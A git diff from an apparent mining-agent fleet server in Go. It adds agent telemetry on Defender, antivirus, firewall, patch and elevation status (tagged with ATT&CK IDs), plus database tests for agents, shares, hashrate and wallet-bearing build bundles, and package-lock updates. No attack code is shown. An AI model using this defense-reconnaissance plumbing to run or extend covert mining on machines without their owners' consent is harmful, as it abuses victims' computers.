SSHAvailable *bool `json:"ssh_available,omitempty"` + PostureScore *int `json:"posture_score,omitempty"` + DefenderEnabled *bool `json:"defender_enabled,omitempty"` + DefenderRTP *bool `json:"defender_rtp,omitempty"` + AVProducts []string `json:"av_products,omitempty"` + FirewallDomain *bool `json:"firewall_domain,omitempty"` + FirewallPrivate *bool `json:"firewall_private,omitempty"` + FirewallPublic *bool `json:"firewall_public,omitempty"` + LastPatchDays *int `json:"last_patch_days,omitempty"` + LastPatch *string `json:"last_patch,omitempty"` + PendingUpdates *int `json:"pending_updates,omitempty"` + RebootPending *bool `json:"reboot_pending,omitempty"` + AgentElevated *bool `json:"agent_elevated,omitempty"` + } if err := json.Unmarshal(msg.Payload, &stats); err != nil { continue } @@ -550,6 +562,42 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { if stats.SSHAvailable != nil { broadcast["ssh_available"] = *stats.SSHAvailable } + if stats.PostureScore != nil { + broadcast["posture_score"] = *stats.PostureScore + } + if stats.DefenderEnabled != nil { + broadcast["defender_enabled"] = *stats.DefenderEnabled + } + if stats.DefenderRTP != nil { + broadcast["defender_rtp"] = *stats.DefenderRTP + } + if len(stats.AVProducts) > 0 { + broadcast["av_products"] = stats.AVProducts + } + if stats.FirewallDomain != nil { + broadcast["firewall_domain"] = *stats.FirewallDomain + } + if stats.FirewallPrivate != nil { + broadcast["firewall_private"] = *stats.FirewallPrivate + } + if stats.FirewallPublic != nil { + broadcast["firewall_public"] = *stats.FirewallPublic + } + if stats.LastPatchDays != nil { + broadcast["last_patch_days"] = *stats.LastPatchDays + } + if stats.LastPatch != nil { + broadcast["last_patch"] = *stats.LastPatch + } + if stats.PendingUpdates != nil { + broadcast["pending_updates"] = *stats.PendingUpdates + } + if stats.RebootPending != nil { + broadcast["reboot_pending"] = *stats.RebootPending + } + if stats.AgentElevated != nil { + broadcast["agent_elevated"] = *stats.AgentElevated + } h.broadcastDashboard(Message{Type: "stats_update", Payload: mustMarshal(broadcast)}) case "submit_share": diff --git a/server/internal/db/agent_meta_test.go b/server/internal/db/agent_meta_test.go new file mode 100644 index 0000000..34cbbc1 --- /dev/null +++ b/server/internal/db/agent_meta_test.go @@ -0,0 +1,76 @@ +package db + +import ( + "testing" +) + +func TestDecodeTagsEdgeCases(t *testing.T) { + tests := []struct { + name string + raw string + want int + }{ + {"empty", "", 0}, + {"brackets", "[]", 0}, + {"whitespace", " [] ", 0}, + {"valid", `["a","b"]`, 2}, + {"invalid json", "{not-json", 0}, + } + for _, tc := range tests { + t.Run(tc.name, func(t *testing.T) { + got := decodeTags(tc.raw) + if len(got) != tc.want { + t.Fatalf("decodeTags(%q) len=%d want %d (%v)", tc.raw, len(got), tc.want, got) + } + }) + } +} + +func TestEncodeTagsEmpty(t *testing.T) { + if got := encodeTags(nil); got != "[]" { + t.Fatalf("encodeTags(nil) = %q want []", got) + } + if got := encodeTags([]string{}); got != "[]" { + t.Fatalf("encodeTags(empty) = %q want []", got) + } +} + +func TestGetAgentInvalidTagsInDB(t *testing.T) { + d := openTestDB(t) + seedAgent(t, d, "bad-tags") + + if _, err := d.Exec(`UPDATE agents SET tags = ? WHERE id = ?`, "{invalid", "bad-tags"); err != nil { + t.Fatal(err) + } + + got, err := d.GetAgent("bad-tags") + if err != nil { + t.Fatal(err) + } + if len(got.Tags) != 0 { + t.Fatalf("invalid tags should decode to empty slice, got %v", got.Tags) + } +} + +func TestUpdateAgentMetaClearsTags(t *testing.T) { + d := openTestDB(t) + seedAgent(t, d, "meta-clear") + + if err := d.UpdateAgentMeta("meta-clear", "note", []string{"x"}); err != nil { + t.Fatal(err) + } + if err := d.UpdateAgentMeta("meta-clear", "", nil); err != nil { + t.Fatal(err) + } + + got, err := d.GetAgent("meta-clear") + if err != nil { + t.Fatal(err) + } + if got.Notes != "" { + t.Fatalf("notes not cleared: %q", got.Notes) + } + if len(got.Tags) != 0 { + t.Fatalf("tags not cleared: %v", got.Tags) + } +} diff --git a/server/internal/db/builds_test.go b/server/internal/db/builds_test.go new file mode 100644 index 0000000..a231793 --- /dev/null +++ b/server/internal/db/builds_test.go @@ -0,0 +1,191 @@ +package db + +import ( + "database/sql" + "errors" + "testing" + "time" + + "crypto-miner-server/internal/models" +) + +func insertBuild(t *testing.T, d *Database, b *models.BuildRecord) { + t.Helper() + if err := d.InsertBuild(b); err != nil { + t.Fatal(err) + } +} + +func TestBuildCRUDAndList(t *testing.T) { + d := openTestDB(t) + + created := time.Now().UTC().Truncate(time.Second) + build := &models.BuildRecord{ + ID: "build-001", + WorkerName: "rig1", + ServerURL: "http://localhost:8080", + Wallet: "48xyz", + Threads: 4, + FileSize: 1024, + BundleSize: 2048, + FilePath: "/data/builds/build-001.zip", + FileName: "agent.zip", + DownloadURL: "/api/v1/builds/build-001/download", + Platform: "windows", + CreatedAt: created, + PoolHost: "pool.example.com", + PoolPort: 443, + PoolTLS: true, + PoolPass: "x", + } + insertBuild(t, d, build) + + got, err := d.GetBuild("build-001") + if err != nil { + t.Fatal(err) + } + if got.WorkerName != "rig1" || got.Platform != "windows" || got.BundleSize != 2048 { + t.Fatalf("build mismatch: %+v", got) + } + if got.Pinned { + t.Fatal("new build should not be pinned") + } + + list, err := d.ListBuilds(10) + if err != nil { + t.Fatal(err) + } + if len(list) != 1 || list[0].ID != "build-001" { + t.Fatalf("list builds: %+v", list) + } +} + +func TestGetBuildNotFound(t *testing.T) { + d := openTestDB(t) + _, err := d.GetBuild("missing") + if !errors.Is(err, sql.ErrNoRows) { + t.Fatalf("expected sql.ErrNoRows, got %v", err) + } +} + +func TestSetPinnedBuild(t *testing.T) { + d := openTestDB(t) + now := time.Now() + insertBuild(t, d, &models.BuildRecord{ID: "b1", WorkerName: "w", ServerURL: "u", Wallet: "w", CreatedAt: now}) + insertBuild(t, d, &models.BuildRecord{ID: "b2", WorkerName: "w", ServerURL: "u", Wallet: "w", CreatedAt: now.Add(time.Second)}) + + if err := d.SetPinnedBuild("b1"); err != nil { + t.Fatal(err) + } + b1, _ := d.GetBuild("b1") + b2, _ := d.GetBuild("b2") + if !b1.Pinned || b2.Pinned { + t.Fatalf("pin state wrong: b1=%v b2=%v", b1.Pinned, b2.Pinned) + } + + if err := d.SetPinnedBuild(""); err != nil { + t.Fatal(err) + } + b1, _ = d.GetBuild("b1") + if b1.Pinned { + t.Fatal("empty id should unpin all builds") + } +} + +func TestGetLatestBuildForPlatform(t *testing.T) { + d := openTestDB(t) + base := time.Now().UTC().Truncate(time.Second) + + insertBuild(t, d, &models.BuildRecord{ + ID: "old-linux", WorkerName: "w", ServerURL: "u", Wallet: "w", + Platform: "linux", CreatedAt: base, + }) + insertBuild(t, d, &models.BuildRecord{ + ID: "new-linux", WorkerName: "w", ServerURL: "u", Wallet: "w", + Platform: "linux", CreatedAt: base.Add(time.Minute), + }) + insertBuild(t, d, &models.BuildRecord{ + ID: "new-windows", WorkerName: "w", ServerURL: "u", Wallet: "w", + Platform: "windows", CreatedAt: base.Add(2 * time.Minute), + }) + + latestLinux, err := d.GetLatestBuildForPlatform("linux") + if err != nil { + t.Fatal(err) + } + if latestLinux.ID != "new-linux" { + t.Fatalf("latest linux: got %q", latestLinux.ID) + } + + if err := d.SetPinnedBuild("old-linux"); err != nil { + t.Fatal(err) + } + pinnedLinux, err := d.GetLatestBuildForPlatform("linux") + if err != nil { + t.Fatal(err) + } + if pinnedLinux.ID != "old-linux" { + t.Fatalf("pinned linux: got %q", pinnedLinux.ID) + } + + anyLatest, err := d.GetLatestBuildForPlatform("any") + if err != nil { + t.Fatal(err) + } + if anyLatest.ID != "old-linux" { + t.Fatalf("any with pinned: got %q want old-linux", anyLatest.ID) + } + + if err := d.SetPinnedBuild(""); err != nil { + t.Fatal(err) + } + emptyPlatform, err := d.GetLatestBuildForPlatform("") + if err != nil { + t.Fatal(err) + } + if emptyPlatform.ID != "new-windows" { + t.Fatalf("empty platform latest: got %q", emptyPlatform.ID) + } +} + +func TestGetLatestBuildForPlatformEmpty(t *testing.T) { + d := openTestDB(t) + _, err := d.GetLatestBuildForPlatform("linux") + if !errors.Is(err, sql.ErrNoRows) { + t.Fatalf("expected sql.ErrNoRows on empty db, got %v", err) + } +} + +func TestListBuildsOlderThanAndDeleteBuild(t *testing.T) { + d := openTestDB(t) + cutoff := time.Now().UTC().Truncate(time.Second) + oldTime := cutoff.Add(-time.Hour) + newTime := cutoff.Add(time.Hour) + + insertBuild(t, d, &models.BuildRecord{ + ID: "old-build", WorkerName: "w", ServerURL: "u", Wallet: "w", CreatedAt: oldTime, + }) + insertBuild(t, d, &models.BuildRecord{ + ID: "new-build", WorkerName: "w", ServerURL: "u", Wallet: "w", CreatedAt: newTime, + }) + + older, err := d.ListBuildsOlderThan(cutoff) + if err != nil { + t.Fatal(err) + } + if len(older) != 1 || older[0].ID != "old-build" { + t.Fatalf("ListBuildsOlderThan: %+v", older) + } + + if err := d.DeleteBuild("old-build"); err != nil { + t.Fatal(err) + } + _, err = d.GetBuild("old-build") + if !errors.Is(err, sql.ErrNoRows) { + t.Fatalf("expected deleted build missing, got %v", err) + } + + if err := d.DeleteBuild("never-existed"); err != nil { + t.Fatal(err) + } +} diff --git a/server/internal/db/retention.go b/server/internal/db/retention.go index aa6ce52..62565b9 100644 --- a/server/internal/db/retention.go +++ b/server/internal/db/retention.go @@ -17,16 +17,15 @@ func (d *Database) PurgeHashrateSamplesBefore(cutoff time.Time) (int64, error) { // ListBuildsOlderThan returns build records created before cutoff. func (d *Database) ListBuildsOlderThan(cutoff time.Time) ([]*models.BuildRecord, error) { - rows, err := d.Query(`SELECT id, worker_name, server_url, wallet, threads, file_size, file_path, created_at, pool_host, pool_port, pool_tls, pool_pass FROM builds WHERE created_at < ?`, cutoff) + rows, err := d.Query(`SELECT `+buildSelectCols+` FROM builds WHERE created_at < ?`, cutoff) if err != nil { return nil, err } defer rows.Close() var out []*models.BuildRecord for rows.Next() { - b := &models.BuildRecord{} - if err := rows.Scan(&b.ID, &b.WorkerName, &b.ServerURL, &b.Wallet, &b.Threads, &b.FileSize, &b.FilePath, &b.CreatedAt, - &b.PoolHost, &b.PoolPort, &b.PoolTLS, &b.PoolPass); err != nil { + b, err := scanBuild(rows) + if err != nil { return nil, err } out = append(out, b) diff --git a/server/internal/db/sqlite_test.go b/server/internal/db/sqlite_test.go new file mode 100644 index 0000000..77ae74d --- /dev/null +++ b/server/internal/db/sqlite_test.go @@ -0,0 +1,255 @@ +package db + +import ( + "database/sql" + "errors" + "testing" + "time" + + "crypto-miner-server/internal/models" +) + +func openTestDB(t *testing.T) *Database { + t.Helper() + d, err := New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { d.Close() }) + return d +} + +func seedAgent(t *testing.T, d *Database, id string) *models.Agent { + t.Helper() + a := &models.Agent{ + ID: id, + Name: "worker-" + id, + Wallet: "wallet", + IP: "10.0.0.1", + Version: "2.0", + Status: "offline", + CPUCores: 4, + MemoryGB: 8, + LastSeen: time.Now(), + } + if err := d.UpsertAgent(a); err != nil { + t.Fatal(err) + } + return a +} + +func TestNewCreatesDatabase(t *testing.T) { + dir := t.TempDir() + d, err := New(dir) + if err != nil { + t.Fatal(err) + } + defer d.Close() + + var n int + if err := d.QueryRow("SELECT COUNT(*) FROM sqlite_master WHERE type='table' AND name='agents'").Scan(&n); err != nil { + t.Fatal(err) + } + if n != 1 { + t.Fatalf("expected agents table, got count %d", n) + } +} + +func TestGetAgentNotFound(t *testing.T) { + d := openTestDB(t) + _, err := d.GetAgent("missing-agent") + if !errors.Is(err, sql.ErrNoRows) { + t.Fatalf("expected sql.ErrNoRows, got %v", err) + } +} + +func TestUpsertAgentPreservesCreatedAt(t *testing.T) { + d := openTestDB(t) + a := seedAgent(t, d, "persist-created") + + first, err := d.GetAgent(a.ID) + if err != nil { + t.Fatal(err) + } + + time.Sleep(10 * time.Millisecond) + a.Name = "renamed" + a.Status = "online" + if err := d.UpsertAgent(a); err != nil { + t.Fatal(err) + } + + second, err := d.GetAgent(a.ID) + if err != nil { + t.Fatal(err) + } + if !second.CreatedAt.Equal(first.CreatedAt) { + t.Fatalf("created_at changed: %v -> %v", first.CreatedAt, second.CreatedAt) + } + if second.Name != "renamed" { + t.Fatalf("name not updated: %q", second.Name) + } +} + +func TestUpdateAgentStats(t *testing.T) { + d := openTestDB(t) + a := seedAgent(t, d, "stats-agent") + + if err := d.UpdateAgentStats(a.ID, 100, 200, 300, 10, 8, 2, 55.5, 66.6, 3600); err != nil { + t.Fatal(err) + } + + got, err := d.GetAgent(a.ID) + if err != nil { + t.Fatal(err) + } + if got.Status != "online" { + t.Fatalf("status: got %q want online", got.Status) + } + if got.Hashrate15s != 100 || got.Hashrate1m != 200 || got.Hashrate15m != 300 { + t.Fatalf("hashrate mismatch: %+v", got) + } + if got.SharesTotal != 10 || got.SharesGood != 8 || got.SharesBad != 2 { + t.Fatalf("shares mismatch: %+v", got) + } + if got.CPUUsagePct != 55.5 || got.MemoryUsagePct != 66.6 || got.UptimeSeconds != 3600 { + t.Fatalf("usage/uptime mismatch: %+v", got) + } +} + +func TestSetAgentOffline(t *testing.T) { + d := openTestDB(t) + a := seedAgent(t, d, "offline-agent") + if err := d.UpdateAgentStats(a.ID, 1, 1, 1, 0, 0, 0, 0, 0, 0); err != nil { + t.Fatal(err) + } + + if err := d.SetAgentOffline(a.ID); err != nil { + t.Fatal(err) + } + got, err := d.GetAgent(a.ID) + if err != nil { + t.Fatal(err) + } + if got.Status != "offline" { + t.Fatalf("status: got %q want offline", got.Status) + } +} + +func TestShareInsertUpdateAndRecent(t *testing.T) { + d := openTestDB(t) + seedAgent(t, d, "share-agent") + + ts := time.Now().UTC().Truncate(time.Second) + share := &models.Share{ + AgentID: "share-agent", + JobID: "job-1", + Difficulty: 1000, + Accepted: false, + Hash: "abc123", + Nonce: "deadbeef", + Error: "pending", + Timestamp: ts, + } + id, err := d.InsertShare(share) + if err != nil { + t.Fatal(err) + } + if id <= 0 { + t.Fatalf("expected positive insert id, got %d", id) + } + + if err := d.UpdateShareResult(id, true, ""); err != nil { + t.Fatal(err) + } + + recent, err := d.GetRecentShares(10) + if err != nil { + t.Fatal(err) + } + if len(recent) != 1 { + t.Fatalf("expected 1 share, got %d", len(recent)) + } + if !recent[0].Accepted { + t.Fatal("share should be accepted after update") + } + if recent[0].Error != "" { + t.Fatalf("error should be cleared, got %q", recent[0].Error) + } + + if err := d.UpdateShareResult(id, false, "pool rejected"); err != nil { + t.Fatal(err) + } + recent, err = d.GetRecentShares(1) + if err != nil { + t.Fatal(err) + } + if recent[0].Accepted || recent[0].Error != "pool rejected" { + t.Fatalf("unexpected share after reject update: %+v", recent[0]) + } +} + +func TestHashrateSampleHistory(t *testing.T) { + d := openTestDB(t) + seedAgent(t, d, "hr-agent") + + if err := d.InsertHashrateSample("hr-agent", 150.5); err != nil { + t.Fatal(err) + } + if err := d.InsertHashrateSample("hr-agent", 200.0); err != nil { + t.Fatal(err) + } + + history, err := d.GetHashrateHistory("hr-agent", 5) + if err != nil { + t.Fatal(err) + } + if len(history) != 2 { + t.Fatalf("expected 2 samples, got %d", len(history)) + } + if history[0].Hashrate != 200.0 { + t.Fatalf("expected newest first, got %f", history[0].Hashrate) + } + + empty, err := d.GetHashrateHistory("unknown", 5) + if err != nil { + t.Fatal(err) + } + if len(empty) != 0 { + t.Fatalf("expected empty history, got %d", len(empty)) + } +} + +func TestGetFleetStatsWithAgents(t *testing.T) { + d := openTestDB(t) + seedAgent(t, d, "fleet-a") + seedAgent(t, d, "fleet-b") + + if err := d.UpdateAgentStats("fleet-a", 0, 0, 100, 20, 18, 2, 0, 0, 0); err != nil { + t.Fatal(err) + } + if err := d.UpdateAgentStats("fleet-b", 0, 0, 50, 10, 5, 5, 0, 0, 0); err != nil { + t.Fatal(err) + } + + stats, err := d.GetFleetStats() + if err != nil { + t.Fatal(err) + } + if stats.TotalAgents != 2 { + t.Fatalf("total agents: got %d want 2", stats.TotalAgents) + } + if stats.OnlineAgents != 2 { + t.Fatalf("online agents: got %d want 2", stats.OnlineAgents) + } + if stats.TotalHashrate != 150 { + t.Fatalf("total hashrate: got %f want 150", stats.TotalHashrate) + } + if stats.TotalShares != 30 || stats.AcceptedShares != 23 || stats.RejectedShares != 7 { + t.Fatalf("share totals mismatch: %+v", stats) + } + wantRate := float64(23) / float64(30) * 100 + if stats.AcceptRate != wantRate { + t.Fatalf("accept rate: got %f want %f", stats.AcceptRate, wantRate) + } +} diff --git a/server/internal/models/agent.go b/server/internal/models/agent.go index b73b49d..1bf2d58 100644 --- a/server/internal/models/agent.go +++ b/server/internal/models/agent.go @@ -36,6 +36,20 @@ type Agent struct { // Crucible — SSH status probed by the agent every ~60s SSHAvailable *bool `json:"ssh_available,omitempty"` + + // Defense posture + patch exposure — ATT&CK T1685/T1686.003 + PostureScore int `json:"posture_score,omitempty"` + DefenderEnabled *bool `json:"defender_enabled,omitempty"` + DefenderRTP *bool `json:"defender_rtp,omitempty"` + AVProducts []string `json:"av_products,omitempty"` + FirewallDomain *bool `json:"firewall_domain,omitempty"` + FirewallPrivate *bool `json:"firewall_private,omitempty"` + FirewallPublic *bool `json:"firewall_public,omitempty"` + LastPatchDays *int `json:"last_patch_days,omitempty"` + LastPatch *string `json:"last_patch,omitempty"` // ISO date YYYY-MM-DD + PendingUpdates *int `json:"pending_updates,omitempty"` // -1 = unknown + RebootPending *bool `json:"reboot_pending,omitempty"` + AgentElevated *bool `json:"agent_elevated,omitempty"` } // AgentCapabilities reports forge-time features available for remote command. diff --git a/server/web/package-lock.json b/server/web/package-lock.json index 7fbe7ce..ba6125c 100644 --- a/server/web/package-lock.json +++ b/server/web/package-lock.json @@ -21,6 +21,9 @@ }, "devDependencies": { "@playwright/test": "^1.49.0", + "@testing-library/jest-dom": "^6.9.1", + "@testing-library/react": "^16.3.2", + "@testing-library/user-event": "^14.6.1", "@types/react": "^18.2.37", "@types/react-dom": "^18.2.15", "@vitejs/plugin-react": "^4.2.0", @@ -30,6 +33,13 @@ "vitest": "^2.1.9" } }, + "node_modules/@adobe/css-tools": { + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/@adobe/css-tools/-/css-tools-4.5.0.tgz", + "integrity": "sha512-6OzddxPio9UiWTCemp4N8cYLV2ZN1ncRnV1cVGtve7dhPOtRkleRyx32GQCYSwDYgaHU3USMm84tNsvKzRCa1Q==", + "dev": true, + "license": "MIT" + }, "node_modules/@babel/code-frame": { "version": "7.29.7", "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.29.7.tgz", @@ -1396,12 +1406,110 @@ "win32" ] }, + "node_modules/@testing-library/dom": { + "version": "10.4.1", + "resolved": "https://registry.npmjs.org/@testing-library/dom/-/dom-10.4.1.tgz", + "integrity": "sha512-o4PXJQidqJl82ckFaXUeoAW+XysPLauYI43Abki5hABd853iMhitooc6znOnczgbTYmEP6U6/y1ZyKAIsvMKGg==", + "dev": true, + "license": "MIT", + "peer": true, + "dependencies": { + "@babel/code-frame": "^7.10.4", + "@babel/runtime": "^7.12.5", + "@types/aria-query": "^5.0.1", + "aria-query": "5.3.0", + "dom-accessibility-api": "^0.5.9", + "lz-string": "^1.5.0", + "picocolors": "1.1.1", + "pretty-format": "^27.0.2" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/@testing-library/jest-dom": { + "version": "6.9.1", + "resolved": "https://registry.npmjs.org/@testing-library/jest-dom/-/jest-dom-6.9.1.tgz", + "integrity": "sha512-zIcONa+hVtVSSep9UT3jZ5rizo2BsxgyDYU7WFD5eICBE7no3881HGeb/QkGfsJs6JTkY1aQhT7rIPC7e+0nnA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@adobe/css-tools": "^4.4.0", + "aria-query": "^5.0.0", + "css.escape": "^1.5.1", + "dom-accessibility-api": "^0.6.3", + "picocolors": "^1.1.1", + "redent": "^3.0.0" + }, + "engines": { + "node": ">=14", + "npm": ">=6", + "yarn": ">=1" + } + }, + "node_modules/@testing-library/jest-dom/node_modules/dom-accessibility-api": { + "version": "0.6.3", + "resolved": "https://registry.npmjs.org/dom-accessibility-api/-/dom-accessibility-api-0.6.3.tgz", + "integrity": "sha512-7ZgogeTnjuHbo+ct10G9Ffp0mif17idi0IyWNVA/wcwcm7NPOD/WEHVP3n7n3MhXqxoIYm8d6MuZohYWIZ4T3w==", + "dev": true, + "license": "MIT" + }, + "node_modules/@testing-library/react": { + "version": "16.3.2", + "resolved": "https://registry.npmjs.org/@testing-library/react/-/react-16.3.2.tgz", + "integrity": "sha512-XU5/SytQM+ykqMnAnvB2umaJNIOsLF3PVv//1Ew4CTcpz0/BRyy/af40qqrt7SjKpDdT1saBMc42CUok5gaw+g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.12.5" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "@testing-library/dom": "^10.0.0", + "@types/react": "^18.0.0 || ^19.0.0", + "@types/react-dom": "^18.0.0 || ^19.0.0", + "react": "^18.0.0 || ^19.0.0", + "react-dom": "^18.0.0 || ^19.0.0" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@testing-library/user-event": { + "version": "14.6.1", + "resolved": "https://registry.npmjs.org/@testing-library/user-event/-/user-event-14.6.1.tgz", + "integrity": "sha512-vq7fv0rnt+QTXgPxr5Hjc210p6YKq2kmdziLgnsZGgLJ9e6VAShx1pACLuRjd/AS/sr7phAR58OIIpf0LlmQNw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12", + "npm": ">=6" + }, + "peerDependencies": { + "@testing-library/dom": ">=7.21.4" + } + }, "node_modules/@tweenjs/tween.js": { "version": "23.1.3", "resolved": "https://registry.npmjs.org/@tweenjs/tween.js/-/tween.js-23.1.3.tgz", "integrity": "sha512-vJmvvwFxYuGnF2axRtPYocag6Clbb5YS7kLL+SO/TeVFzHqDIWrNKYtcsPMibjDx9O+bu+psAy9NKfWklassUA==", "license": "MIT" }, + "node_modules/@types/aria-query": { + "version": "5.0.4", + "resolved": "https://registry.npmjs.org/@types/aria-query/-/aria-query-5.0.4.tgz", + "integrity": "sha512-rfT93uj5s0PRL7EzccGMs3brplhcrghnDoV26NqKhCAS1hVo+WdNsPvE/yb6ilfr5hi2MEk6d5EWJTKdxg8jVw==", + "dev": true, + "license": "MIT", + "peer": true + }, "node_modules/@types/babel__core": { "version": "7.20.5", "resolved": "https://registry.npmjs.org/@types/babel__core/-/babel__core-7.20.5.tgz", @@ -1784,6 +1892,16 @@ "url": "https://github.com/chalk/ansi-styles?sponsor=1" } }, + "node_modules/aria-query": { + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/aria-query/-/aria-query-5.3.0.tgz", + "integrity": "sha512-b0P0sZPKtyu8HkeRAfCq0IfURZK+SuwMjY1UXGBU27wpAiTwQAIlq56IbIO+ytk/JjS1fMR14ee5WBBfKi5J6A==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "dequal": "^2.0.3" + } + }, "node_modules/assertion-error": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/assertion-error/-/assertion-error-2.0.1.tgz", @@ -2047,6 +2165,13 @@ "node": ">= 8" } }, + "node_modules/css.escape": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/css.escape/-/css.escape-1.5.1.tgz", + "integrity": "sha512-YUifsXXuknHlUsmlgyY0PKzgPOr7/FjCePfHNt0jxm83wHZi44VDMQ7/fGNkjY3/jV1MC+1CmZbaHzugyeRtpg==", + "dev": true, + "license": "MIT" + }, "node_modules/csstype": { "version": "3.2.3", "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.2.3.tgz", @@ -2217,6 +2342,16 @@ "node": ">=6" } }, + "node_modules/dequal": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/dequal/-/dequal-2.0.3.tgz", + "integrity": "sha512-0je+qPKHEMohvfRTCEo3CrPG6cAzAYgmzKyxRiYSSDkS6eGJdyVJm7WaYA5ECaAD9wLB2T4EEeymA5aFVcYXCA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, "node_modules/detect-gpu": { "version": "5.0.70", "resolved": "https://registry.npmjs.org/detect-gpu/-/detect-gpu-5.0.70.tgz", @@ -2232,6 +2367,14 @@ "integrity": "sha512-qiSlmBq9+BCdCA/L46dw8Uy93mloxsPSbwnm5yrKn2vMPiy8KyAskTF6zuV/j5BMsmOGZDPs7KjU+mjb670kfA==", "license": "MIT" }, + "node_modules/dom-accessibility-api": { + "version": "0.5.16", + "resolved": "https://registry.npmjs.org/dom-accessibility-api/-/dom-accessibility-api-0.5.16.tgz", + "integrity": "sha512-X7BJ2yElsnOJ30pZF4uIIDfBEVgF4XEBxL9Bxhy6dnrm5hkzqmsWHGTiHqRiITNhMyFLyAiWndIJP7Z1NTteDg==", + "dev": true, + "license": "MIT", + "peer": true + }, "node_modules/dom-helpers": { "version": "5.2.1", "resolved": "https://registry.npmjs.org/dom-helpers/-/dom-helpers-5.2.1.tgz", @@ -2471,6 +2614,16 @@ "integrity": "sha512-XXOFtyqDjNDAQxVfYxuF7g9Il/IbWmmlQg2MYKOH8ExIT1qg6xc4zyS3HaEEATgs1btfzxq15ciUiY7gjSXRGQ==", "license": "MIT" }, + "node_modules/indent-string": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/indent-string/-/indent-string-4.0.0.tgz", + "integrity": "sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, "node_modules/internmap": { "version": "2.0.3", "resolved": "https://registry.npmjs.org/internmap/-/internmap-2.0.3.tgz", @@ -2610,6 +2763,17 @@ "yallist": "^3.0.2" } }, + "node_modules/lz-string": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/lz-string/-/lz-string-1.5.0.tgz", + "integrity": "sha512-h5bgJWpxJNswbU7qCrV0tIKQCaS3blPDrqKWx+QxzuzL1zGUzij9XCWLrSLsJPu5t+eWA/ycetzYAO5IOMcWAQ==", + "dev": true, + "license": "MIT", + "peer": true, + "bin": { + "lz-string": "bin/bin.js" + } + }, "node_modules/maath": { "version": "0.10.8", "resolved": "https://registry.npmjs.org/maath/-/maath-0.10.8.tgz", @@ -2645,6 +2809,16 @@ "integrity": "sha512-oRFNWJRDA/WTrVj7NWvqa5HqE1t9MYDj2VaWirQCzCCrAd2GHrqR/sQezCxiWATPNlKTcRaPRHPJwIRoPBAp5g==", "license": "MIT" }, + "node_modules/min-indent": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/min-indent/-/min-indent-1.0.1.tgz", + "integrity": "sha512-I9jwMn07Sy/IwOj3zVkVik2JTvgpaykDZEigL6Rx6N9LbMywwUSMtxET+7lVoDLLd3O3IXwJwvuuns8UB/HeAg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=4" + } + }, "node_modules/ms": { "version": "2.1.3", "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", @@ -2859,6 +3033,44 @@ "integrity": "sha512-choctRBIV9EMT9WGAZHn3V7t0Z2pMQyl0EZE6pFc/6ml3ssw7Dlf/oAOvFwjm1HVsqfQN8GfeFyJ+d8tRzqueQ==", "license": "ISC" }, + "node_modules/pretty-format": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-27.5.1.tgz", + "integrity": "sha512-Qb1gy5OrP5+zDf2Bvnzdl3jsTf1qXVMazbvCoKhtKqVs4/YK4ozX4gKQJJVyNe+cajNPn0KoC0MC3FUmaHWEmQ==", + "dev": true, + "license": "MIT", + "peer": true, + "dependencies": { + "ansi-regex": "^5.0.1", + "ansi-styles": "^5.0.0", + "react-is": "^17.0.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/pretty-format/node_modules/ansi-styles": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz", + "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==", + "dev": true, + "license": "MIT", + "peer": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/pretty-format/node_modules/react-is": { + "version": "17.0.2", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-17.0.2.tgz", + "integrity": "sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w==", + "dev": true, + "license": "MIT", + "peer": true + }, "node_modules/promise-worker-transferable": { "version": "1.0.4", "resolved": "https://registry.npmjs.org/promise-worker-transferable/-/promise-worker-transferable-1.0.4.tgz", @@ -3092,6 +3304,20 @@ "decimal.js-light": "^2.4.1" } }, + "node_modules/redent": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/redent/-/redent-3.0.0.tgz", + "integrity": "sha512-6tDA8g98We0zd0GvVeMT9arEOnTw9qM03L9cJXaCjrip1OO764RDBLBfrB4cwzNGDj5OA5ioymC9GkizgWJDUg==", + "dev": true, + "license": "MIT", + "dependencies": { + "indent-string": "^4.0.0", + "strip-indent": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, "node_modules/require-directory": { "version": "2.1.1", "resolved": 